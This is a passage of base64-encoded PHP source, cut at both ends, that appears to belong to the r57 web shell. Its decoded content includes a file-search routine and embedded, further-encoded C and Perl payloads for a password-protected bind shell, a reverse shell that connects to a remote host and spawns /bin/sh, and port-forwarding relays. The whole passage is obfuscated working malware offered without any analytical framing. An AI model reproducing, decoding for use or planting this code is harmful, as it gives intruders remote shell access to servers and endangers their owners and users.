7JGE8QGNvdW50KCRGaWxlU3RyaW5ncyk7JGErKykKICAgICAgICB7CiAgICAgICAgICAkY291bnQgPSAwOwogICAgICAgICAgJEN1clN0cmluZyA9ICRGaWxlU3RyaW5nc1skYV07CiAgICAgICAgICAkQ3VyU3RyaW5nID0gQFRyaW0oJEN1clN0cmluZyk7CiAgICAgICAgICAkQ3VyU3RyaW5nID0gQHN0cmlwX3RhZ3MoJEN1clN0cmluZyk7CiAgICAgICAgICAkYWEgPSAnJzsKICAgICAgICAgIGlmKCgkY291bnQgPSBAcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sJEN1clN0cmluZywkYWEpKSkKICAgICAgICAgIHsKICAgICAgICAgICAgJEN1clN0cmluZyA9IEBwcmVnX3JlcGxhY2UoJHBhdHRlcm4sIjxTUEFOIHN0eWxlPSdjb2xvcjogIzk5MDAwMDsnPjxiPlxcMTwvYj48L1NQQU4+IiwkQ3VyU3RyaW5nKTsKICAgICAgICAgICAgJHRoaXMtPlJlc3VsdEZpbGVzWyRmaWxlbmFtZV1bJGErMV0gPSAkQ3VyU3RyaW5nOwogICAgICAgICAgICAkdGhpcy0+TWF0Y2hlc0NvdW50ICs9ICRjb3VudDsKICAgICAgICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnRbJGZpbGVuYW1lXSArPSAkY291bnQ7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICAgICR0aGlzLT5UaW1lVG90YWwgPSBAcm91bmQoZ2V0bWljcm90aW1lKCkgLSAkdGhpcy0+VGltZVN0YXJ0LDQpOwogICAgfQogIH0KICBmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKQogIHsKICAgIGxpc3QoJHVzZWMsJHNlYykgPSBAZXhwbG9kZSgiICIsQG1pY3JvdGltZSgpKTsKICAgIHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpOwogIH0KJHBvcnRfYmluZF9iZF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM1I1Y0dWekxtZytEUW9qYVc1amJIVmtaUwpBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHhsY25KdWJ5NW9QZzBLYVc1MElHMWhhVzRvWVhKbll5eGhjbWQyS1EwS2FXNTBJCkdGeVoyTTdEUXBqYUdGeUlDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjFZM1FnYzI5amEyRmtaSEpmYVc0Z2NtVnQKYjNSbE93MEtJR2xtS0dadmNtc29LU0E5UFNBd0tTQjdJQTBLSUhKbGJXOTBaUzV6YVc1ZlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOQpwS0dGeVozWmJNVjBwS1RzTkNpQnlaVzF2ZEdVdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0lBMEtJSE52WTJ0bVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGCk5QUTB0ZlUxUlNSVUZOTERBcE93MEtJR2xtS0NGemIyTnJabVFwSUhCbGNuSnZjaWdpYzI5amEyVjBJR1Z5Y205eUlpazdEUW9nWW1sdVpDaHpiMk5yWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0sKaWttY21WdGIzUmxMQ0F3ZURFd0tUc05DaUJzYVhOMFpXNG9jMjlqYTJaa0xDQTFLVHNOQ2lCM2FHbHNaU2d4S1EwS0lDQjdEUW9nSUNCdVpYZG1aRDFoWTJObGNIUW9jMjlqYTJaa0xEQXNNQ2s3RFFvZwpJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc05DaUFnSUdSMWNESW9ibVYzWm1Rc01pazdEUW9nSUNCM2NtbDBaU2h1WlhkbVpDd2lVR0Z6YzNkdmNtUTZJaXd4TUNrCjdEUW9nSUNCeVpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3BEUW9nSUNCemVYTjBaVzBvSW1WamFHOGdkMlZzWTIKOXRaU0IwYnlCeU5UY2djMmhsYkd3Z0ppWWdMMkpwYmk5aVlYTm9JQzFwSWlrN0RRb2dJQ0JsYkhObERRb2dJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lVMjl5Y25raUtUc05DaUFnSUdOc2IzTmxLRzVsZAoyWmtLVHNOQ2lBZ2ZRMEtJSDBOQ24wTkNtbHVkQ0JqYUhCaGMzTW9ZMmhoY2lBcVltRnpaU3dnWTJoaGNpQXFaVzUwWlhKbFpDa2dldzBLYVc1MElHazdEUXBtYjNJb2FUMHdPMms4YzNSeWJHVnVLR1Z1CmRHVnlaV1FwTzJrckt5a2dEUXA3RFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2JpY3BEUXBsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNnRFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2NpY3BEUXAKbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzTkNuME5DbWxtSUNnaGMzUnlZMjF3S0dKaGMyVXNaVzUwWlhKbFpDa3BEUXB5WlhSMWNtNGdNRHNOQ24wPSI7CiRwb3J0X2JpbmRfYmRfcGw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZZbUZ6YUNBdGFTSTdEUXBwWmlBb1FFRlNSMVlnUENBeEtTQjdJR1Y0YVhRb01TazdJSDBOQ2lSTVMKVk5VUlU1ZlVFOVNWRDBrUVZKSFZsc3dYVHNOQ25WelpTQlRiMk5yWlhRN0RRb2tjSEp2ZEc5amIydzlaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRcwpKbE5QUTB0ZlUxUlNSVUZOTENSd2NtOTBiMk52YkNrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWClRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkV4SlUxUkZUbDlRVDFKVUxFbE9RVVJFVWw5QlRsa3BLU0I4ZkNCa2FXVWdJa05oYm5RZ2IzQmxiaUJ3YjNKMFhHNGlPdzBLYkcKbHpkR1Z1S0ZNc015a2dmSHdnWkdsbElDSkRZVzUwSUd4cGMzUmxiaUJ3YjNKMFhHNGlPdzBLZDJocGJHVW9NU2tOQ25zTkNtRmpZMlZ3ZENoRFQwNU9MRk1wT3cwS2FXWW9JU2drY0dsa1BXWnZjbXNwSwpRMEtldzBLWkdsbElDSkRZVzV1YjNRZ1ptOXlheUlnYVdZZ0tDRmtaV1pwYm1Wa0lDUndhV1FwT3cwS2IzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DbTl3Wlc0Z1UxUkVUMVZVTENJK0prTlBUazRpCk93MEtiM0JsYmlCVFZFUkZVbElzSWo0bVEwOU9UaUk3RFFwbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNtTnNiM04KbElFTlBUazQ3RFFwbGVHbDBJREE3RFFwOURRcDkiOwokYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqCmFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIKaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVApzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JCmtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkKS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbApPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQwpCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliClNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQKS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISgpzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDCkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QKUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcApPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7CiRkYXRhcGlwZV9jPSJJMmx1WTJ4MVpHVWdQSE41Y3k5MGVYQmxjeTVvUGcwS0kybHVZMngxWkdVZ1BITjVjeTl6YjJOclpYUXVhRDROQ2lOcGJtTnNkV1JsSUR4emVYTXZkMkZwZEM1b1BnMEtJMmx1WTIKeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdScGJ5NW9QZzBLSTJsdVkyeDFaR1VnUEhOMFpHeHBZaTVvUGcwS0kybHVZMngxWkdVZ1BHVnljbTV2TG1nK0RRb2phVzVqYgpIVmtaU0E4ZFc1cGMzUmtMbWcrRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHNhVzUxZUM5MGFXMWxMbWcrRFFvamFXWmtaV1lnVTFSU1JWSlNUMUlOQ21WNGRHVnliaUJqCmFHRnlJQ3B6ZVhOZlpYSnliR2x6ZEZ0ZE93MEtaWGgwWlhKdUlHbHVkQ0J6ZVhOZmJtVnljanNOQ21Ob1lYSWdLblZ1WkdWbUlEMGdJbFZ1WkdWbWFXNWxaQ0JsY25KdmNpSTdEUXBqYUdGeUlDcHpkSEoKbGNuSnZjaWhsY25KdmNpa2dJQTBLYVc1MElHVnljbTl5T3lBZ0RRcDdJQTBLYVdZZ0tHVnljbTl5SUQ0Z2MzbHpYMjVsY25JcERRcHlaWFIxY200Z2RXNWtaV1k3RFFweVpYUjFjbTRnYzNselgyVnljbQp4cGMzUmJaWEp5YjNKZE93MEtmUTBLSTJWdVpHbG1EUW9OQ20xaGFXNG9ZWEpuWXl3Z1lYSm5kaWtnSUEwS0lDQnBiblFnWVhKbll6c2dJQTBLSUNCamFHRnlJQ29xWVhKbmRqc2dJQTBLZXlBTkNpQWdhClc1MElHeHpiMk5yTENCamMyOWpheXdnYjNOdlkyczdEUW9nSUVaSlRFVWdLbU5tYVd4bE93MEtJQ0JqYUdGeUlHSjFabHMwTURrMlhUc05DaUFnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUd4aFpHUnkKTENCallXUmtjaXdnYjJGa1pISTdEUW9nSUdsdWRDQmpZV1JrY214bGJpQTlJSE5wZW1WdlppaGpZV1JrY2lrN0RRb2dJR1prWDNObGRDQm1aSE55TENCbVpITmxPdzBLSUNCemRISjFZM1FnYUc5emRHVgp1ZENBcWFEc05DaUFnYzNSeWRXTjBJSE5sY25abGJuUWdLbk03RFFvZ0lHbHVkQ0J1WW5sME93MEtJQ0IxYm5OcFoyNWxaQ0JzYjI1bklHRTdEUW9nSUhWdWMybG5ibVZrSUhOb2IzSjBJRzl3YjNKME93CjBLRFFvZ0lHbG1JQ2hoY21kaklDRTlJRFFwSUhzTkNpQWdJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lWWE5oWjJVNklDVnpJR3h2WTJGc2NHOXlkQ0J5WlcxdmRHVndiM0owSUhKbGJXOTBaV2h2YzNSY2IKaUlzWVhKbmRsc3dYU2s3RFFvZ0lDQWdjbVYwZFhKdUlETXdPdzBLSUNCOURRb2dJR0VnUFNCcGJtVjBYMkZrWkhJb1lYSm5kbHN6WFNrN0RRb2dJR2xtSUNnaEtHZ2dQU0JuWlhSb2IzTjBZbmx1WVcxbApLR0Z5WjNaYk0xMHBLU0FtSmcwS0lDQWdJQ0FnSVNob0lEMGdaMlYwYUc5emRHSjVZV1JrY2lnbVlTd2dOQ3dnUVVaZlNVNUZWQ2twS1NCN0RRb2dJQ0FnY0dWeWNtOXlLR0Z5WjNaYk0xMHBPdzBLSUNBCmdJSEpsZEhWeWJpQXlOVHNOQ2lBZ2ZRMEtJQ0J2Y0c5eWRDQTlJR0YwYjJ3b1lYSm5kbHN5WFNrN0RRb2dJR3hoWkdSeUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb0tIVnVjMmxuYm1Wa0lITm9iM0owS1MKaGhkRzlzS0dGeVozWmJNVjBwS1NrN0RRb2dJR2xtSUNnb2JITnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQwppQWdJQ0J3WlhKeWIzSW9Jbk52WTJ0bGRDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnNZV1JrY2k1emFXNWZabUZ0YVd4NUlEMGdhSFJ2Ym5Nb1FVWmZTVTVGVkNrN0RRb2dJR3hoClpHUnlMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2gwYjI1c0tEQXBPdzBLSUNCcFppQW9ZbWx1WkNoc2MyOWpheXdnSm14aFpHUnlMQ0J6YVhwbGIyWW9iR0ZrWkhJcEtTa2dldzBLSUNBZ0lIQmxjbkoKdmNpZ2lZbWx1WkNJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNpQWdmUTBLSUNCcFppQW9iR2x6ZEdWdUtHeHpiMk5yTENBeEtTa2dldzBLSUNBZ0lIQmxjbkp2Y2lnaWJHbHpkR1Z1SWlrN0RRb2dJQwpBZ2NtVjBkWEp1SURJd093MEtJQ0I5RFFvZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDBnTFRFcElIc05DaUFnSUNCd1pYSnliM0lvSW1admNtc2lLVHNOQ2lBZ0lDQnlaWFIxY200Z01qQTdEClFvZ0lIME5DaUFnYVdZZ0tHNWllWFFnUGlBd0tRMEtJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQnpaWFJ6YVdRb0tUc05DaUFnZDJocGJHVWdLQ2hqYzI5amF5QTlJR0ZqWTJWd2RDaHNjMjlqYXl3Z0ptTmgKWkdSeUxDQW1ZMkZrWkhKc1pXNHBLU0FoUFNBdE1Ta2dldzBLSUNBZ0lHTm1hV3hsSUQwZ1ptUnZjR1Z1S0dOemIyTnJMQ0p5S3lJcE93MEtJQ0FnSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMApnTFRFcElIc05DaUFnSUNBZ0lHWndjbWx1ZEdZb1kyWnBiR1VzSUNJMU1EQWdabTl5YXpvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdJQ0J6YUhWMFpHOTNiaWhqYzI5amF5Cnd5S1RzTkNpQWdJQ0FnSUdaamJHOXpaU2hqWm1sc1pTazdEUW9nSUNBZ0lDQmpiMjUwYVc1MVpUc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tHNWllWFFnUFQwZ01Da05DaUFnSUNBZ0lHZHZkRzhnWjI5MGMKMjlqYXpzTkNpQWdJQ0JtWTJ4dmMyVW9ZMlpwYkdVcE93MEtJQ0FnSUhkb2FXeGxJQ2gzWVdsMGNHbGtLQzB4TENCT1ZVeE1MQ0JYVGs5SVFVNUhLU0ErSURBcE93MEtJQ0I5RFFvZ0lISmxkSFZ5YmlBeQpNRHNOQ2cwS0lHZHZkSE52WTJzNkRRb2dJR2xtSUNnb2IzTnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQ2lBCmdJQ0JtY0hKcGJuUm1LR05tYVd4bExDQWlOVEF3SUhOdlkydGxkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQnZZV1JrY2kKNXphVzVmWm1GdGFXeDVJRDBnYUMwK2FGOWhaR1J5ZEhsd1pUc05DaUFnYjJGa1pISXVjMmx1WDNCdmNuUWdQU0JvZEc5dWN5aHZjRzl5ZENrN0RRb2dJRzFsYldOd2VTZ21iMkZrWkhJdWMybHVYMkZrWgpISXNJR2d0UG1oZllXUmtjaXdnYUMwK2FGOXNaVzVuZEdncE93MEtJQ0JwWmlBb1kyOXVibVZqZENodmMyOWpheXdnSm05aFpHUnlMQ0J6YVhwbGIyWW9iMkZrWkhJcEtTa2dldzBLSUNBZ0lHWndjbWx1CmRHWW9ZMlpwYkdVc0lDSTFNREFnWTI5dWJtVmpkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQjNhR2xzWlNBb01Ta2dldzAKS0lDQWdJRVpFWDFwRlVrOG9KbVprYzNJcE93MEtJQ0FnSUVaRVgxcEZVazhvSm1aa2MyVXBPdzBLSUNBZ0lFWkVYMU5GVkNoamMyOWpheXdtWm1SemNpazdEUW9nSUNBZ1JrUmZVMFZVS0dOemIyTnJMQwpabVpITmxLVHNOQ2lBZ0lDQkdSRjlUUlZRb2IzTnZZMnNzSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMU5GVkNodmMyOWpheXdtWm1SelpTazdEUW9nSUNBZ2FXWWdLSE5sYkdWamRDZ3lNQ3dnSm1aa2MzSXNJCkU1VlRFd3NJQ1ptWkhObExDQk9WVXhNS1NBOVBTQXRNU2tnZXcwS0lDQWdJQ0FnWm5CeWFXNTBaaWhqWm1sc1pTd2dJalV3TUNCelpXeGxZM1E2SUNWelhHNGlMQ0J6ZEhKbGNuSnZjaWhsY25KdWJ5a3AKT3cwS0lDQWdJQ0FnWjI5MGJ5QnhkV2wwTWpzTkNpQWdJQ0I5RFFvZ0lDQWdhV1lnS0VaRVgwbFRVMFZVS0dOemIyTnJMQ1ptWkhOeUtTQjhmQ0JHUkY5SlUxTkZWQ2hqYzI5amF5d21abVJ6WlNrcElIcwpOQ2lBZ0lDQWdJR2xtSUNnb2JtSjVkQ0E5SUhKbFlXUW9ZM052WTJzc1luVm1MRFF3T1RZcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ0lDQnBaaUFvS0hkeWFYUmxLRzl6YjJOckxHCkoxWml4dVlubDBLU2tnUEQwZ01Da05DZ2xuYjNSdklIRjFhWFF5T3cwS0lDQWdJSDBnWld4elpTQnBaaUFvUmtSZlNWTlRSVlFvYjNOdlkyc3NKbVprYzNJcElIeDhJRVpFWDBsVFUwVlVLRzl6YjJOckwKQ1ptWkhObEtTa2dldzBLSUNBZ0lDQWdhV1lnS0NodVlubDBJRDBnY21WaFpDaHZjMjlqYXl4aWRXWXNOREE1TmlrcElEdzlJREFwRFFvSloyOTBieUJ4ZFdsME1qc05DaUFnSUNBZ0lHbG1JQ2dvZDNKcApkR1VvWTNOdlkyc3NZblZtTEc1aWVYUXBLU0E4UFNBd0tRMEtDV2R2ZEc4Z2NYVnBkREk3RFFvZ0lDQWdmUTBLSUNCOURRb05DaUJ4ZFdsME1qb05DaUFnYzJoMWRHUnZkMjRvYjNOdlkyc3NNaWs3RFFvCmdJR05zYjNObEtHOXpiMk5yS1RzTkNpQnhkV2wwTVRvTkNpQWdabVpzZFhOb0tHTm1hV3hsS1RzTkNpQWdjMmgxZEdSdmQyNG9ZM052WTJzc01pazdEUW9nY1hWcGREQTZEUW9nSUdaamJHOXpaU2hqWm0KbHNaU2s3RFFvZ0lISmxkSFZ5YmlBd093MEtmUT09IjsKJGRhdGFwaXBlX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNuVnpaU0JRVDFOSldEc05DaVJzYjJOaGJIQnZjblFnUFNBa1FWSkhWbHN3WFRzTkNpUm9iM04wSQpDQWdJQ0FnUFNBa1FWSkhWbHN4WFRzTkNpUndiM0owSUNBZ0lDQWdQU0FrUVZKSFZsc3lYVHNOQ2lSa1lXVnRiMjQ5TVRzTkNpUkVTVklnUFNCMWJtUmxaanNOQ2lSOElEMGdNVHNOQ21sbUlDZ2taR0ZsCmJXOXVLWHNnSkhCcFpDQTlJR1p2Y21zN0lHVjRhWFFnYVdZZ0pIQnBaRHNnWkdsbElDSWtJU0lnZFc1c1pYTnpJR1JsWm1sdVpXUW9KSEJwWkNrN0lGQlBVMGxZT2pwelpYUnphV1FvS1NCdmNpQmthV1UKZ0lpUWhJanNnZlEwS0pXOGdQU0FvSjNCdmNuUW5JRDArSUNSc2IyTmhiSEJ2Y25Rc0ozUnZjRzl5ZENjZ1BUNGdKSEJ2Y25Rc0ozUnZhRzl6ZENjZ1BUNGdKR2h2YzNRcE93MEtKR0ZvSUQwZ1NVODZPbApOdlkydGxkRG82U1U1RlZDMCtibVYzS0NkTWIyTmhiRkJ2Y25RbklEMCtJQ1JzYjJOaGJIQnZjblFzSjFKbGRYTmxKeUE5UGlBeExDZE1hWE4wWlc0bklEMCtJREV3S1NCOGZDQmthV1VnSWlRaElqc05DCmlSVFNVZDdKME5JVEVRbmZTQTlJQ2RKUjA1UFVrVW5PdzBLSkc1MWJTQTlJREE3RFFwM2FHbHNaU0FvTVNrZ2V5QU5DaVJqYUNBOUlDUmhhQzArWVdOalpYQjBLQ2s3SUdsbUlDZ2hKR05vS1NCN0lIQnkKYVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3SUc1bGVIUTdJSDBOQ2lzckpHNTFiVHNOQ2lSd2FXUWdQU0JtYjNKcktDazdEUXBwWmlBb0lXUmxabWx1WldRb0pIQnBaQ2twSUhzZ2NISnBiblFnVTFSRVJWSgpTSUNJa0lWeHVJanNnZlNBTkNtVnNjMmxtSUNna2NHbGtJRDA5SURBcElIc2dKR0ZvTFQ1amJHOXpaU2dwT3lCU2RXNG9YQ1Z2TENBa1kyZ3NJQ1J1ZFcwcE95QjlJQTBLWld4elpTQjdJQ1JqYUMwK1kyCnh2YzJVb0tUc2dmUTBLZlEwS2MzVmlJRkoxYmlCN0RRcHRlU2drYnl3Z0pHTm9MQ0FrYm5WdEtTQTlJRUJmT3cwS2JYa2dKSFJvSUQwZ1NVODZPbE52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RRWldWeVEKV1JrY2ljZ1BUNGdKRzh0UG5zbmRHOW9iM04wSjMwc0oxQmxaWEpRYjNKMEp5QTlQaUFrYnkwK2V5ZDBiM0J2Y25RbmZTazdEUXBwWmlBb0lTUjBhQ2tnZXlCbGVHbDBJREE3SUgwTkNtMTVJQ1JtYURzTgpDbWxtSUNna2J5MCtleWRrYVhJbmZTa2dleUFrWm1nZ1BTQlRlVzFpYjJ3Nk9tZGxibk41YlNncE95QnZjR1Z1S0NSbWFDd2dJajRrYnkwK2V5ZGthWEluZlM5MGRXNXVaV3drYm5WdExteHZaeUlwSUc5CnlJR1JwWlNBaUpDRWlPeUI5RFFva1kyZ3RQbUYxZEc5bWJIVnphQ2dwT3cwS0pIUm9MVDVoZFhSdlpteDFjMmdvS1RzTkNuZG9hV3hsSUNna1kyZ2dmSHdnSkhSb0tTQjdEUXB0ZVNBa2NtbHVJRDBnSWkKSTdEUXAyWldNb0pISnBiaXdnWm1sc1pXNXZLQ1JqYUNrc0lERXBJRDBnTVNCcFppQWtZMmc3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSMGFDa3NJREVwSUQwZ01TQnBaaUFrZEdnN0RRcHRlU2drYwptOTFkQ3dnSkdWdmRYUXBPdzBLYzJWc1pXTjBLQ1J5YjNWMElEMGdKSEpwYml3Z2RXNWtaV1lzSUNSbGIzVjBJRDBnSkhKcGJpd2dNVEl3S1RzTkNtbG1JQ2doSkhKdmRYUWdJQ1ltSUNBaEpHVnZkWFFwCklIdDlEUXB0ZVNBa1kySjFabVpsY2lBOUlDSWlPdzBLYlhrZ0pIUmlkV1ptWlhJZ1BTQWlJanNOQ21sbUlDZ2tZMmdnSmlZZ0tIWmxZeWdrWlc5MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcElIeDhJSFoKbFl5Z2tjbTkxZEN3Z1ptbHNaVzV2S0NSamFDa3NJREVwS1NrZ2V3MEtiWGtnSkhKbGMzVnNkQ0E5SUhONWMzSmxZV1FvSkdOb0xDQWtkR0oxWm1abGNpd2dNVEF5TkNrN0RRcHBaaUFvSVdSbFptbHVaVwpRb0pISmxjM1ZzZENrcElIc05DbkJ5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3RFFwbGVHbDBJREE3RFFwOURRcHBaaUFvSkhKbGMzVnNkQ0E5UFNBd0tTQjdJR1Y0YVhRZ01Ec2dmUTBLZlEwS2FXWWdLCkNSMGFDQWdKaVlnSUNoMlpXTW9KR1Z2ZFhRc0lHWnBiR1Z1Ynlna2RHZ3BMQ0F4S1NBZ2ZId2dkbVZqS0NSeWIzVjBMQ0JtYVd4bGJtOG9KSFJvS1N3Z01Ta3BLU0I3RFFwdGVTQWtjbVZ6ZFd4MElEMGcKYzNsemNtVmhaQ2drZEdnc0lDUmpZblZtWm1WeUxDQXhNREkwS1RzTkNtbG1JQ2doWkdWbWFXNWxaQ2drY21WemRXeDBLU2tnZXlCd2NtbHVkQ0JUVkVSRlVsSWdJaVFoWEc0aU95QmxlR2wwSURBN0lIMApOQ21sbUlDZ2tjbVZ6ZFd4MElEMDlJREFwSUh0bGVHbDBJREE3ZlEwS2ZRMEthV1lnS0NSbWFDQWdKaVlnSUNSMFluVm1abVZ5S1NCN0tIQnlhVzUwSUNSbWFDQWtkR0oxWm1abGNpazdmUTBLZDJocGJHClVnS0cxNUlDUnNaVzRnUFNCc1pXNW5kR2dvSkhSaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcG